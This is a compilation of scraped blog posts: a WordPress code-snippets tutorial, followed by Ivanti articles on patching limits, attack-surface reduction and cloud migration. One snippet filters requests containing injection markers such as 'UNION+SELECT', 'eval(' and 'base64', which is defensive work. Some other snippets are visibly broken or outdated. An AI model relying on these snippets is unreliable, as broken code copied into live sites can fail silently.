10 Useful Code Snippets for WordPress Users

LAST UPDATED: APRIL 26, 2023

We know that plugins can be used to extend the functionality of WordPress. But what if you can do some smaller things in WordPress without installing them? Say, you dislike the admin bar at the top and wish to eliminate it? Yes, that can be accomplished by means of code snippets for WordPress.

Basically, code snippets for WordPress are used to do certain actions that might otherwise require a dedicated smaller plugin. Such code snippets are placed in one of the WordPress core or theme files (generally the functions.php file of your theme).

10 useful #code #snippets for #WordPress users 🖥️

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In this article, we will share ⏩ ten very useful code snippets for WordPress users. We’ll then wrap it up by explaining ⏩ how you can add these code snippets to your WordPress pages and posts by using a free plugin.

10 Useful Code Snippets for WordPress Users đź“š

  1. Allow Contributors to Upload Images
  2. Show Popular Posts Without Plugins
  3. Disable Search in WordPress
  4. Protect Your Site from Malicious Requests
  5. Paginate Your Site Without Plugins
  6. Disable the Admin Bar
  7. Show Post Thumbnails in RSS Feed
  8. Change the Author Permalink Structure
  9. Automatically Link to Twitter Usernames in Content
  10. Create a PayPal Donation Shortcode

Word of Caution! âś‹

As you might have guessed, code snippets for WordPress, while really useful, tend to alter the default functionality. There can be a small margin of error with each snippet. Generally, such issues tend to arise due to incompatible plugins and/or themes and tend to disappear once you eliminate the said theme/plugin or decide not to use the said snippet.

However, to be on the safer side, be very sure to take proper backups of your WordPress website before making any changes by means of snippets. Also, if you encounter any error or performance issues, rollback your site and check for any plugins or incompatible theme issues.

Now, on to the code snippets for WordPress users!

1. Allow Contributors to Upload Images

By default, WordPress does not permit contributor accounts to upload images. You can, of course, promote that particular account to Author or Editor and this will give them the rights to upload and modify images, However, it will also grant them additional rights, such as the ability to publish their own articles (as opposed to submission for review).

This particular code snippet allows contributor accounts to upload images to their articles, without granting them any additional privileges or rights. Paste it in the functions.php file of your theme:

if ( current_user_can('contributor') && !current_user_can('upload_files') )
     add_action('admin_init', 'allow_contributor_uploads');      
     function allow_contributor_uploads() {
          $contributor = get_role('contributor');
          $contributor->add_cap('upload_files');
     }

This one is a little trickier. However, if you are not too keen on installing an extra plugin to showcase popular posts (say, you have limited server memory or disk space), follow this snippet.

Paste the following in functions.php:

function count_post_visits() {
    if( is_single() ) {
        global $post;
        $views = get_post_meta( $post->ID, 'my_post_viewed', true );
        if( $views == '' ) {
            update_post_meta( $post->ID, 'my_post_viewed', '1' );   
        } else {
            $views_no = intval( $views );
            update_post_meta( $post->ID, 'my_post_viewed', ++$views_no );
        }
    }
}
add_action( 'wp_head', 'count_post_visits' );

Thereafter, paste the following wherever in your template files that you wish to display the popular posts:

$popular_posts_args = array(
    'posts_per_page' => 3,
    'meta_key' => 'my_post_viewed',
    'orderby' => 'meta_value_num',
    'order'=> 'DESC'
);
$popular_posts_loop = new WP_Query( $popular_posts_args );
  while( $popular_posts_loop->have_posts() ):
    $popular_posts_loop->the_post();
    // Loop continues
endwhile;
wp_reset_query();

3. Disable Search in WordPress

The search feature of WordPress has been around for a long time. However, if your website does not need it, or you do not want users to “search” through your website for some reason, you can use this code snippet.

Essentially, it is a custom function that simply nullifies the search feature. Not just the search bar in your sidebar or the menu, but the entire concept of native WP search is gone. Why can this be useful? Again, it can help if you are running your website on low spec server and do not have content that needs to be searched (probably you aren’t running a blog).

Again, add this to the functions.php file:

function fb_filter_query( $query, $error = true ) {
if ( is_search() ) {
$query->is_search = false;
$query->query_vars[s] = false;
$query->query[s] = false;
// to error
if ( $error == true )
$query->is_404 = true;
}
}
add_action( 'parse_query', 'fb_filter_query' );
add_filter( 'get_search_form', create_function( '$a', "return null;" ) );

4. Protect Your Site from Malicious Requests

There are various ways to secure your website. You can install a security plugin, turn on a firewall or opt for a free feature such as Jetpack Protect that blocks brute force attacks on your website.

The following code snippet, once placed in your functions.php file, rejects all malicious URL requests:

global $user_ID; if($user_ID) {
    if(!current_user_can('administrator')) {
        if (strlen($_SERVER['REQUEST_URI']) > 255 ||
            stripos($_SERVER['REQUEST_URI'], "eval(") ||
            stripos($_SERVER['REQUEST_URI'], "CONCAT") ||
            stripos($_SERVER['REQUEST_URI'], "UNION+SELECT") ||
            stripos($_SERVER['REQUEST_URI'], "base64")) {
                @header("HTTP/1.1 414 Request-URI Too Long");
                @header("Status: 414 Request-URI Too Long");
                @header("Connection: Close");
                @exit;
        }
    }
}

5. Paginate Your Site Without Plugins

Good pagination is very useful for allowing users to browse through your website. Rather than “previous” or “next” links. This is where another one of our code snippets for WordPress comes into play – it adds good pagination to your content.

In functions.php:

global $wp_query;
$total = $wp_query->max_num_pages;
// only bother with the rest if we have more than 1 page!
if ( $total > 1 )  {
     // get the current page
     if ( !$current_page = get_query_var('paged') )
          $current_page = 1;
     // structure of "format" depends on whether we're using pretty permalinks
     $format = empty( get_option('permalink_structure') ) ? '&page=%#%' : 'page/%#%/';
     echo paginate_links(array(
          'base' => get_pagenum_link(1) . '%_%',
          'format' => $format,
          'current' => $current_page,
          'total' => $total,
          'mid_size' => 4,
          'type' => 'list'
     ));
}

6. Disable the Admin Bar

The WordPress Admin Bar provides handy links to several key functions such as the ability to add new posts and pages, etc. However, if you find no use for it and wish to remove it, simply paste the following code snippet to your functions.php file:

// Remove the admin bar from the front end
add_filter( 'show_admin_bar', '__return_false' );

7. Show Post Thumbnails in RSS Feed

If you wish to show post thumbnail images in your blog’s RSS feed, the following code snippet for WordPress can be useful.

Place it in your functions.php file:

// Put post thumbnails into rss feed
function wpfme_feed_post_thumbnail($content) {
global $post;
if(has_post_thumbnail($post->ID)) {
$content = '' . $content;
}
return $content;
}
add_filter('the_excerpt_rss', 'wpfme_feed_post_thumbnail');
add_filter('the_content_feed', 'wpfme_feed_post_thumbnail');

By default, WordPress shows author profiles as yoursite.com/author/name. However, you can change it to anything that you like, such as yoursite.com/writer/name

The following code snippet needs to be pasted in the functions.php file. Then, it changes the author permalink structure to “/profile/name”:

add_action('init', 'cng_author_base');
function cng_author_base() {
    global $wp_rewrite;
    $author_slug = 'profile'; // change slug name
    $wp_rewrite->author_base = $author_slug;
}

This is especially useful if you are running a website that focuses a lot on Twitter (probably a viral content site, etc.) The following code snippet for functions.php converts all @ mentions in your content to their respective Twitter profiles.

For example, an @happy mention in your content will be converted to a link to the Twitter account “twitter.com/happy” (“happy” being the username):

function content_twitter_mention($content) {
return preg_replace('/([^a-zA-Z0-9-_&])@([0-9a-zA-Z_]+)/', "$1<a href=\"http://twitter.com/$2\" target=\"_blank\" rel=\"nofollow\">@$2</a>", $content);
}
add_filter('the_content', 'content_twitter_mention');   
add_filter('comment_text', 'content_twitter_mention');

10. Create a PayPal Donation Shortcode

If you are using the PayPal Donate function to accept donations from your website’s visitors, you can use this code snippet to create a shortcode, and thus make donating easier. First, paste the following in your functions.php file:

function donate_shortcode( $atts, $content = null) {
global $post;extract(shortcode_atts(array(
'account' => 'your-paypal-email-address',
'for' => $post->post_title,
'onHover' => '',
), $atts));
if(empty($content)) $content='Make A Donation';
return '<a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business='.$account.'&item_name=Donation for '.$for.'" title="'.$onHover.'">'.$content.'</a>';
}
add_shortcode('donate', 'donate_shortcode');

Then, you can easily use the

[donate] shortcode, such as:

[donate]My Text Here[/donate]

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How to Add Code Snippets? 🤔

As mentioned with each code snippet, you just need to add the said snippet to the required file. Mostly, you would only need to add code snippets to the functions.php file (in some cases, it can differ).

However, what if you are just not comfortable editing your theme’s files? If that is the case, have no fear. The Code Snippets plugin can help you out!

Code Snippets

Author(s): Code Snippets Pro

Current Version: 3.4.2

Last Updated: July 5, 2023

code-snippets.zip

94%Ratings800,000+InstallsWP 5.0+Requires

It is a simple plugin that lets you add code snippets to your functions.php without any manual file editing. It treats code snippets as individual plugins of their own – you add the code and hit save … and the rest is handled by the Code Snippets plugin.

Once you activate the plugin, you will find a Snippets menu right under “Plugins.” Head to Snippets » Add New:

Code Snippets for WordPress

Add a name for your snippet, paste the snippet in the code area, and then provide a description for your own reference. Once done, activate the snippet and you’re good to go! Even if you change the theme, the code snippet remains functional.

10 useful #code #snippets for #WordPress users 🖥️

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This way, you can add and delete code snippets as if they were posts or pages without having to edit theme files at all.

Source :
https://themeisle.com/blog/code-snippets-for-wordpress/#gref

Three Reasons Endpoint Security Can’t Stop With Just Patching

Last updated: June 14, 2023
James Saturnio
Security Unified Endpoint Management

With remote work now commonplace, having a good cyber hygiene program is crucial for organizations who want to survive in today’s threat landscape. This includes promoting a culture of individual cybersecurity awareness and deploying the right security tools, which are both critical to the program’s success. 

Some of these tools include endpoint patching, endpoint detection and response (EDR) solutions and antivirus software. But considering recent cybersecurity reports, they’re no longer enough to reduce your organization’s external attack surface.

Here are three solid reasons, and real-world situations, that happened to organizations that didn’t take this threat seriously.

  1. AI generated polymorphic exploits can bypass leading security tools
  2. Patching failures and patching fatigue are stifling security teams
  3. Endpoint patching only works for known devices and apps
  4. How can organizations reduce their external attack surface?

1. AI generated polymorphic exploits can bypass leading security tools

Recently, AI-generated polymorphic malware has been developed to bypass EDR and antivirus, leaving security teams with blind spots into threats and vulnerabilities.

Real-world example: ChatGPT Polymorphic Malware Evades “Leading” EDR and Antivirus Solutions

In one report, researchers created polymorphic malware by abusing ChatGPT prompts that evaded detection by antivirus software. In a similar report, researchers created a polymorphic keylogging malware that bypassed an industry-leading automated EDR solution.

These exploits achieved this by mutating its code slightly with every iteration and encrypting its malicious code without a command-and-control (C2) communications channel. 

This mutation is not detectable by traditional signature-based and low-level heuristics detection engines. This means that security time gaps are created for a patch to be developed and released, for the patch to be tested for effectiveness, for the security team to prioritize vulnerabilities and for the IT (Information Technology) team to rollout the patches onto affected systems.

In all, this could mean several weeks or months where an organization will need to rely on other security tools to help them protect critical assets until the patching process is completed successfully.
 

2. Patching failures and patching fatigue are stifling security teams

Unfortunately, updates breaking systems because patches haven’t been rigorously tested occur frequently. Also, some updates don’t completely fix all weaknesses, leaving systems vulnerable to more attacks and requiring additional patches to completely fix. 

Real-world example: Suffolk County’s ransomware attack

The Suffolk County government in New York recently released their findings from the forensic investigation of the data breach and ransomware attack, where the Log4j vulnerability was the threat actor’s entry point to breach their systems. The attack started back in December 2021, which was the same time Apache released security patches for these vulnerabilities. 

Even with updates available, patching never took place, resulting in 400 gigabytes of data being stolen including thousands of social security numbers and an initial ransom demand of $2.5 million.

The ransom was never paid but the loss of personal data and employee productivity and subsequent investigation outweighed the cost of updated cyber hygiene appliances and tools and a final ransom demand of $500,000. The county is still trying to recover and restore all their systems today, having already spent $5.5 million. 

Real world example: An errant Windows server update caused me to work 24-hours straight

From personal experience, I once worked 24 hours straight because one Patch Tuesday, a Microsoft Windows server update was automatically downloaded, installed which promptly broke authentication services between the IoT (Internet of Things) clients and the AAA (authentication, authorization and accounting) servers grinding production to a screeching halt.

Our company’s internal customer reference network that was implemented by our largest customers deployed Microsoft servers for Active Directory Certificate Services (ADCS) and Network Policy Servers (NPS) used for 802.1x EAP-TLS authentication for our IoT network devices managed over the air.

This happened a decade ago, but similar recurrences have also occurred over the next several years, including this update from July 2017, where NPS authentication broke for wireless clients and was repeated in May of last year.

At that time, an immediate fix for the errant patch wasn’t available, so I spent the next 22 hours rebuilding the Microsoft servers for the company’s enterprise public key infrastructure (PKI) and AAA services to restore normal operations. The saving grace was we took the original root certificate authority offline, and the server wasn’t affected by the bad update. 

However, we ended up having to revoke all the identity certificates issued by the subordinate certificate authorities to thousands of devices including routers, switches, firewalls and access points and re-enroll them back into the AAA service with new identity certificates.

Learning from this experience, we disabled automatic updates for all Windows servers and took more frequent backups of critical services and data.
 

3. Endpoint patching only works for known devices and apps 

With the pandemic came the shift to Everywhere Work, where employees worked from home, often connecting their personal devices to their organization’s network. This left security teams with a blind spot to shadow IT. With shadow IT, assets go unmanaged, are potentially out-of-date and cause insecure personal devices and leaky applications. 

The resurgence of bring your own device (BYOD) policies and the lack of company-sanctioned secure remote access quickly expanded the organization’s external attack surface, exposing other attack vectors for threat actors to exploit. 

Real-world example: LastPass’ recent breach 

LastPass is a very popular password manager that stores your passwords in an online vault. It has more than 25 million users and 100,000 businesses. Last year, LastPass experienced a massive data breach involving two security incidents.   

The second incident leveraged data stolen during the first breach to target four DevOps engineers, specifically, their home computers. One senior software developer used their personal Windows desktop to access the corporate development sandbox. The desktop also had an unpatched version of Plex Media Server (CVE-2020-5741) installed.

Plex provided a patch for this vulnerability three years ago. Threat actors used this vulnerability to deliver malware, perform privilege escalation (PE), then a remote code execution (RCE) to access LastPass cloud-based storage and steal DevOps secrets and multi-factor (MFA) and Federation databases.

“Unfortunately, the LastPass employee never upgraded their software to activate the patch,” Plex said in a statement. “For reference, the version that addressed this exploit was roughly 75 versions ago.”

If patching isn’t enough, how can organizations reduce their external attack surface?

Cyber hygiene

Employees are the weakest link to an organization’s cyber hygiene program. Inevitably, they’ll forget to update their personal devices, re-use the same weak password to different internet websites, install leaky applications, and click or tap on phishing links contained within an email, attachment, or text message. 

Combat this by promoting a company culture of cybersecurity awareness and practice vigilance that includes: 

· Ensuring the latest software updates are installed on their personal and corporate devices. 

· Recognizing social engineering attack techniques including the several types of phishing attacks.

· Using multi-factor authentication whenever possible. 

· Installing and automatically updating the databases on antivirus software for desktops and mobile threat defense for mobile devices. 

Continuing education is key to promoting great cyber hygiene within your organization, especially for anti-phishing campaigns.  

Cyber hygiene tool recomendations 

In cybersecurity, the saying goes, “You can’t protect what you can’t see!” Having a complete discovery and accurate inventory of all network-connected hardware, software and data, including shadow IT assets, is the important first step to assessing an organization’s vulnerability risk profile. The asset data should feed into an enterprise endpoint patch management system

Also, consider implementing a risk-based vulnerability management approach to prioritize the overwhelming number of vulnerabilities to only those that pose the greatest risk to your organization. Often included with risk-based vulnerability management solutions is a threat intelligence feed into the patch management system

Threat intelligence is information about known or potential threats to an organization. These threats can come from a variety of sources, like security researchers, government agencies, infrastructure vulnerability and application security scanners, internal and external penetration testing results and even threat actors themselves. 

This information, including specific patch failures and reliability reported from various crowdsourced feeds, can help organizations remove internal patch testing requirements and reduce the time gap to patch deployments to critical assets.

unified endpoint management (UEM) platform is necessary to remotely manage and provide endpoint security to mobile devices including shadow IT and BYOD assets.

The solution can enforce patching to the latest mobile operating system (OS) and applications, provision email and secure remote access profiles including identity credentials and multi-factor authentication (MFA) methods like biometrics, smart cards, security keys, certificate-based or token-based authentication.

The UEM solution should also integrate an AI machine learning-based mobile threat defense (MTD) solution for mobile devices, while desktops require next-generation antivirus (NGAV) with robust heuristics to detect and remediate device, network, and app threats with real-time anti-phishing protection.

And finally, to level the playing field against AI-generated malware, cyber hygiene tools will have to evolve quickly by leveraging AI guidance to keep up with the more sophisticated polymorphic attacks that are on the horizon.

Adding the solutions described above will help deter cyberattacks by putting impediments in front of threat actors to frustrate them and seek out easier targets to victimize. 

About James Saturnio

James Saturnio is the Technical Product Marketing Director for the Technical Marketing Engineering team at Ivanti. He immerses himself in all facets of cybersecurity with over 25 years’ hands-on industry experience. He is an always curious practitioner of the zero trust security framework. Prior to Ivanti, he was with MobileIron for almost 7 years as a Senior Solutions Architect and prior to that, he was at Cisco Systems for 19 years. While at Cisco, he started out as a Technical Assistance Center (TAC) Engineer and then a Technical Leader for the Security Technology and Internet of Things (IoT) business units. He is a former Service Provider and Security Cisco Certified Internetworking Expert (CCIE) and was the main architect for the IoT security architecture that is still used today by Cisco’s lighthouse IoT customers.

Source :
https://www.ivanti.com/blog/three-reasons-endpoint-security-can-t-stop-with-just-patching-or-antivirus

The 8 Best Practices for Reducing Your Organization’s Attack Surface

Last updated: June 20, 2023
Robert Waters
Security Unified Endpoint Management DEX

Increases in attack surface size lead to increased cybersecurity risk. Thus, logically, decreases in attack surface size lead to decreased cybersecurity risk.

While some attack surface management solutions offer remediation capabilities that aid in this effort, remediation is reactive. As with all things related to security and risk management, being proactive is preferred.

The good news is that ASM solutions aren’t the only weapons security teams have in the attack surface fight. There are many steps an organization can take to lessen the exposure of its IT environment and preempt cyberattacks.

How do I reduce my organization’s attack surface?

Unfortunately for everyone but malicious actors, there’s no eliminating your entire attack surface, but the following best practice security controls detailed in this post will help you significantly shrink it:

  1. Reduce complexity 
  2. Adopt a zero trust strategy for logical and physical access control
  3. Evolve to risk-based vulnerability management
  4. Implement network segmentation and microsegmentation
  5. Strengthen software and asset configurations
  6. Enforce policy compliance
  7. Train all employees on cybersecurity policies and best practices
  8. Improve digital employee experience (DEX)

As noted in our attack surface glossary entry, different attack vectors can technically fall under multiple types of attack surfaces â€” digital, physical and/or human. Similarly, many of the best practices in this post can help you reduce multiple types of attack surfaces.

For that reason, we have included a checklist along with each best practice that signifies which type(s) of attack surface a particular best practice primarily addresses.

#1: Reduce complexity

.

Digital attack surface Physical attack surface Human attack surface 
XX

.

Reduce your cybersecurity attack surface by reducing complexity. Seems obvious, right? And it is. However, many companies have long failed at this seemingly simple step. Not because it’s not obvious, but because it hasn’t always been easy to do.

Research from Randori and ESG reveals seven in 10 organizations were compromised by an unknown, unmanaged or poorly managed internet-facing asset over the past year. Cyber asset attack surface management (CAASM) solutions enable such organizations to identify all their assets â€” including those that are unauthorized and unmanaged â€” so they can be secured, managed or even removed from the enterprise network.

Any unused or unnecessary assets, from endpoint devices to network infrastructure, should also be removed from the network and properly discarded.

The code that makes up your software applications is another area where complexity contributes to the size of your attack surface. Work with your development team to identify where opportunities exist to minimize the amount of executed code exposed to malicious actors, which will thereby also reduce your attack surface.

#2: Adopt a zero trust strategy for logical and physical access control

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Digital attack surface Physical attack surface Human attack surface 
XX

.

The National Institute of Standards and Technology (NIST) defines zero trust as follows:

“A collection of concepts and ideas designed to minimize uncertainty in enforcing accurate, least privilege per-request access decisions in information systems and services in the face of a network viewed as compromised.”

In other words, for every access request, â€śnever trust, always verify.”

Learn how Ivanti can help you adopt the NIST CSF in The NIST Cybersecurity Framework (CSF): Mapping Ivanti’s Solutions to CSF Controls

Taking a zero trust approach to logical access control reduces your organization’s attack surface â€” and likelihood of data breaches â€” by continuously verifying posture and compliance and providing least-privileged access.

And while zero trust isn’t a product but a strategy, there are products that can help you implement a zero trust strategy. Chief among those products are those included in the secure access service edge (SASE) framework:

And though it’s not typically viewed in this manner, a zero trust strategy can extend beyond logical access control to physical access control. When it comes to allowing anyone into secure areas of your facilities, remember to never trust, always verify. Mechanisms like access cards and biometrics can be used for this purpose.

#3: Evolve to risk-based vulnerability management

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Digital attack surface Physical attack surface Human attack surface 
X

.

First, the bad news: the US National Vulnerability Database (US NVD) contains over 160,000 scored vulnerabilities and dozens more are added every day. Now, the good news: a vast majority of vulnerabilities have never been exploited, which means they can’t be used to perpetrate a cyberattack, which means they aren’t part of your attack surface.

In fact, a ransomware research report from Securin, Cyber Security Works (CSW), Ivanti and Cyware showed only 180 of those 160,000+ vulnerabilities were trending active exploits.

Comparison of total NVD vulnerabilities vs. those that endanger an organization

Total NVD graph.
Only approximately 0.1% of all vulnerabilities in the US NVD are trending active exploits that pose an immediate risk to an organization

legacy approach to vulnerability management reliant on stale and static risk scores from the Common Vulnerability Scoring System (CVSS) won’t accurately classify exploited vulnerabilities. And while the Cybersecurity & Infrastructure Security Agency Known Exploited Vulnerabilities (CISA KEV) Catalog is a step in the right direction, it’s incomplete and doesn’t account for the criticality of assets in an organization’s environment.

A true risk-based approach is needed. Risk-based vulnerability management (RBVM) â€” as its name suggests â€” is a cybersecurity strategy that prioritizes vulnerabilities for remediation based on the risk they pose to the organization.

Read The Ultimate Guide to Risk-Based Patch Management and discover how to evolve your remediation strategy to a risk-based approach.

RBVM tools ingest data from vulnerability scannerspenetration teststhreat intelligence tools and other security sources and use it to measure risk and prioritize remediation activities.

With the intelligence from their RBVM tool in hand, organizations can then go about reducing their attack surface by remediating the vulnerabilities that pose them the most risk. Most commonly, that involves patching exploited vulnerabilities on the infrastructure side and fixing vulnerable code in the application stack.

#4: Implement network segmentation and microsegmentation

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Digital attack surface Physical attack surface Human attack surface 
X

.

Once again, borrowing from the NIST glossary, network segmentation is defined as follows:

Splitting a network into sub-networks, for example, by creating separate areas on the network which are protected by firewalls configured to reject unnecessary traffic. Network segmentation minimizes the harm of malware and other threats by isolating it to a limited part of the network.

From this definition, you can see how segmenting can reduce your attack surface by blocking attackers from certain parts of your network. While traditional network segmentation stops those attackers from moving north-south at the network level, microsegmentation stops them from moving east-west at the workload level.

More specifically, microsegmentation goes beyond network segmentation and enforces policies on a more granular basis â€” for example, by application or device instead of by network.

For example, it can be used to implement restrictions so an IoT device can only communicate with its application server and no other IoT devices, or to prevent someone in one department from accessing any other department’s systems.

#5: Strengthen software and asset configurations

.

Digital attack surface Physical attack surface Human attack surface 
X

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Operating systems, applications and enterprise assets â€” such as servers and end user, network and IoT devices â€” typically come unconfigured or with default configurations that favor ease of deployment and use over security. According to CIS Critical Security Controls (CIS Controls) v8, the following can all be exploitable if left in their default state:

  • Basic controls
  • Open services and ports
  • Default accounts or passwords
  • Pre-configured Domain Name System (DNS) settings
  • Older (vulnerable) protocols
  • Pre-installation of unnecessary software

Clearly, such configurations increase the size of an attack surface. To remedy the situation, Control 4: Secure Configuration of Enterprise Assets and Software of CIS Controls v8 recommends developing and applying strong initial configurations, then continually managing and maintaining those configurations to avoid degrading security of software and assets.

Here are some free resources and tools your team can leverage to help with this effort:

  • CIS Benchmarks List â€“ Configuration recommendations for over 25 vendor product families
  • NIST National Checklist Program (NCP) â€“ Collection of checklists providing guidance on setting software security configurations
  • CIS-CAT Lite â€” Assessment tool that helps users implement secure configurations for a range of technologies

#6: Enforce policy compliance

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Digital attack surface Physical attack surface Human attack surface 
XX

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It’s no secret that endpoints are a major contributor to the size of most attack surfaces â€” especially in the age of Everywhere Work when more employees are working in hybrid and remote roles than ever before. Seven in 10 government employees now work virtually at least part of the time.

It’s hard enough getting employees to follow IT and security policies when they’re inside the office, let alone when 70% of them are spread all over the globe.

Unified endpoint management (UEM) tools ensure universal policy compliance by automatically enforcing policies. This fact should come as no surprise to IT and security professionals, many of whom consider UEM a commodity at this point. In fact, Gartner predicts that 90% of its clients will manage most of their estate with cloud-based UEM tools by just 2025.

Nonetheless, UEM is the best option for enforcing IT and security policy compliance, so I’d be remiss to omit it from this list.

Read The Ultimate Guide to Unified Endpoint Management and learn about the key business benefits and endpoint security use cases for modern UEM solutions.

Additionally, beyond compliance, modern UEM tools offer several other capabilities that can help you identify, manage and reduce your attack surface:

  • Have complete visibility into IT assets by discovering all devices on your network â€” a key ASM capability for organizations without a CAASM solution.
  • Provision devices with the appropriate software and access permissions, then automatically update that software as needed â€” no user interactions required.
  • Manage all types of devices across the entire lifecycle, from onboarding to retirement, to ensure they’reproperly discarded once no longer in use.
  • Automatically enforce device configurations (refer to #5: Strengthen software and asset configurations to learn more about the importance of this capability).
  • Support zero trust access and contextual authentication, vulnerability, policy, configuration and data management by integrating with identity, security and remote-access tools. For example, UEM and mobile threat defense (MTD) tools can integrate to enable you to enact risk-based policies to protect mobile devices from compromising the corporate network and its assets.

#7: Train all employees on cybersecurity policies and best practices

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Digital attack surface Physical attack surface Human attack surface 
X

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Seventy-four percent of breaches analyzed for the 2023 Verizon Data Breaches Investigation Report (DBIR) involved a human element.

Thus, it should come as no surprise when you review the data from Ivanti’s 2023 Government Cybersecurity Status Report and see the percentages of employees around the world that don’t believe their actions have any impact on their organization’s ability to avert cyberattacks:

Do employees think their own actions matter?

Many employees don’t believe their actions impact their organization’s ability to stay safe from cyberattacks.

In the immortal words of Alexander Pope: “To err is human…” In cybersecurity terms: until AI officially takes over, humans will remain a significant part of your attack surface. And until then, human attack surfaces must be managed and reduced wherever possible.

Thus far, the best way to do that’s proven to be cybersecurity training, both on general best practices and company-specific policies â€” and definitely don’t forget to include a social engineering module.

Many cybersecurity practitioners agree. When the question â€śIn your experience, what security measure has been the most successful in preventing cyberattacks and data breaches?” was posed in Reddit’s r/cybersecurity subreddit, many of the top comments referenced the need for user education:

Reddit / u/Forbesington
Reddit / u/slybythenighttothecape
Reddit / u/_DudeWhat
Reddit / u/onneseen

To once again borrow from CIS Controls v8, Control 14: Security Awareness and Skills Training encourages organizations to do the following: “Establish and maintain a security awareness program to influence behavior among the workforce to be security conscious and properly skilled to reduce cybersecurity risks to the enterprise.”

CIS â€” the Center for Internet Security â€” also recommends leveraging the following resources to help build a security awareness program:

Security and IT staff â€” not just those in non-technical roles â€” should also be receiving cybersecurity training relevant to their roles. In fact, according to the IT and security decision-makers surveyed by Randori and ESG for their 2022 report on The State of Attack Surface Management, providing security and IT staff with more ASM training would be the third most-effective way to improve ASM.

Ensuring partners, vendors and other third-party contractors take security training as well can also help contain your human attack surface.

#8: Improve digital employee experience (DEX)

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Digital attack surface Physical attack surface Human attack surface 
XX

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No matter how much cybersecurity training you provide employees, the more complex and convoluted security measures become, the more likely they are to bypass them. Sixty-nine percent of end users report struggling to navigate overly convoluted and complex security measures. Such dissatisfied users are prone to distribute data over unsecured channels, prevent the installation of security updates and deploy shadow IT.

That seems to leave IT leaders with an impossible choice: improve digital employee experience (DEX) at the cost of security or prioritize security over experience? The truth is, security and DEX are equally important to an organization’s success and resilience. In fact, according to research from Enterprise Management Associates (EMA), reducing security friction leads to far fewer breach events.

So what do you do? Ivanti’s 2022 Digital Employee Experience Report indicates IT leaders â€” with support from the C-suite â€” need to put their efforts toward providing a secure-by-design digital employee experience. While that once may have seemed like an impossible task, it’s now easier than ever thanks to an emerging market for DEX tools that help you measure and continuously improve employees’ technology experience.

Read the 2022 Digital Employee Experience Report to learn more about the role DEX plays in cybersecurity.

One area in which organizations can easily improve both security and employee experience is authentication. Annoying and inefficient to remember, enter and reset, passwords have long been the bane of end users.

On top of that, they’re extremely unsecure. Roughly half of the 4,291 data breaches not involving internal malicious activity analyzed for the 2023 Verizon DBIR were enabled through credentials — about four times the amount enabled by phishing — making them by far the most popular path into an organization’s IT estate.

Passwordless authentication software solves this problem. If you’d like to improve end user experience and reduce your attack surface in one fell swoop, deploy a passwordless authentication solution that uses FIDO2 authentication protocols. Both you and your users will rejoice when you can say goodbye to passwords written on Post-it Notes forever.

For more guidance on how to balance security with DEX, refer to the following resources:

Additional guidance from free resources

Ivanti’s suggested best practices for reducing your attack surface combine learnings from our firsthand experience plus secondhand knowledge gleaned from authoritative resources.

And while these best practices will indeed greatly diminish the size of your attack surface, there’s no shortage of other steps an organization could take to combat the ever-expanding size and complexity of modern attack surfaces.

Check out the following free resources â€” some of which were referenced above â€” for additional guidance on shrinking your attack surface:

Next steps

So, you’ve implemented all the best practices above and you’re wondering what’s next. As with all things cybersecurity, there’s no time for standing still. Attack surfaces require constant monitoring.

You never know when the next unmanaged BYOD device will connect to your network, the next vulnerability in your CRM software will be exploited or the next employee will forget their iPhone at the bar after a team happy hour.

On top of tracking existing attack vectors, you also need to stay informed about emerging ones. For example, the recent explosion of AI models is driving substantial attack surface growth, and it’s safe to say more technologies that open the door to your IT environment are on the horizon. Stay vigilant.

About Robert Waters

Robert Waters is the Lead Product Marketing Manager for endpoint security at Ivanti. His 15 years of marketing experience in the technology industry include an early stint at a Fortune 1000 telecommunications company and a decade at a network monitoring and managed services firm.

Robert joined Ivanti in November of 2022 and now oversees all things risk-based vulnerability management and patch management.

Source :
https://www.ivanti.com/blog/the-8-best-practices-for-reducing-your-organization-s-attack-surface

How Cloud Migration Helps Improve Employee Experience

Last updated: June 26, 2023
DEX ITSM and ITAM

The old saying goes, “practice what you preach.” When Ivanti started its “Customer Zero” initiative, Bob Grazioli, Chief Information Officer, saw it as a perfect opportunity to test the products and services consumed by customers.  

For example, during Ivanti’s move to the cloud, Grazioli and the team experienced the same issues that customers would’ve experienced in their migration process. This first-hand experience allowed them to make improvements along the way. Listen to Grazioli go into detail about other crucial findings in the Customer Zero initiative and how expanding ITSM helps elevate the employee experience. 

Key learnings from Ivanti’s “Customer Zero” program  

https://youtube.com/watch?v=unBhdg2rwkg%3Fenablejsapi%3D1%26origin%3Dhttps%253A%252F%252Fwww.ivanti.com

“That’s great to call out our Customer Zero program because we’re really proud of it, actually. We are the first customer in Ivanti. We take every one of our tools that are obviously applicable to IT or SaaS and we implement them first, before the customer,  to provide the feedback to our product managers, our engineering team and make sure that that feedback either makes it into the product or eliminates any potential problems that our customers might experience if something obviously wasn’t discovered during our testing.   

But having said that, we have learned an awful lot about actually moving from on-prem to SaaS. If you look at what we’ve done with Customer Zero, our focus now has been to take a look at the Ivanti on-prem products and move ourself to the cloud. Obviously, I manage SaaS, so I’m very biased towards being in the cloud and that is our focus right now. So, we’ve taken patch, we’ve moved that from on-prem to cloud.  

We now have taken our ITSM converged product with workflow management, with all of low-code, no code, we moved that into IT for ITSM. We have our own CMDB that we’re running against Discovery. Going out to our data centers, we have close to what, 40 different geos globally that we manage — thousands and thousands of assets across all of those data centers. Those are all being discovered placed in our own CMBD and managed.   

We’re now deploying GRC for our compliance. We were like a lot of, you know, companies struggle through our SOC 2, SOC 2 type 2, where artifacts are put into certain repositories. We managed those assets. Now we have GRC, where all those artifacts get managed to ITSM. They’re linked to the proper controls. It makes the audit process so much simpler, so much easier for us to get through every year for compliance.  â€Ż 

We’re learning that through the efficiency of moving to cloud from on-prem to SaaS, we’re learning those efficiencies do save us time, have a great ROI in terms of the OpeEx – CapEx equation, if most of you CIOs that go through that, there is a big advantage on the Capex-Opex side.”

Using ITSM to support a broader organization  

https://youtube.com/watch?v=unBhdg2rwkg%3Fstart%3D152%26enablejsapi%3D1%26origin%3Dhttps%253A%252F%252Fwww.ivanti.com

“And then, just having all of our data in the cloud in ITSM, as I said earlier, becoming a single source of truth for PatchDiscovery, RiskSense [now known as Risk-Based Vulnerability Mangement] vulnerabilities. And obviously, the main focus, all the tickets that are created on the customer facing side, giving us insight into the customer, into what they’re using or what they’re not using. So really, adoption, big part of obviously what you need in SaaS to manage, the real true user experience.   

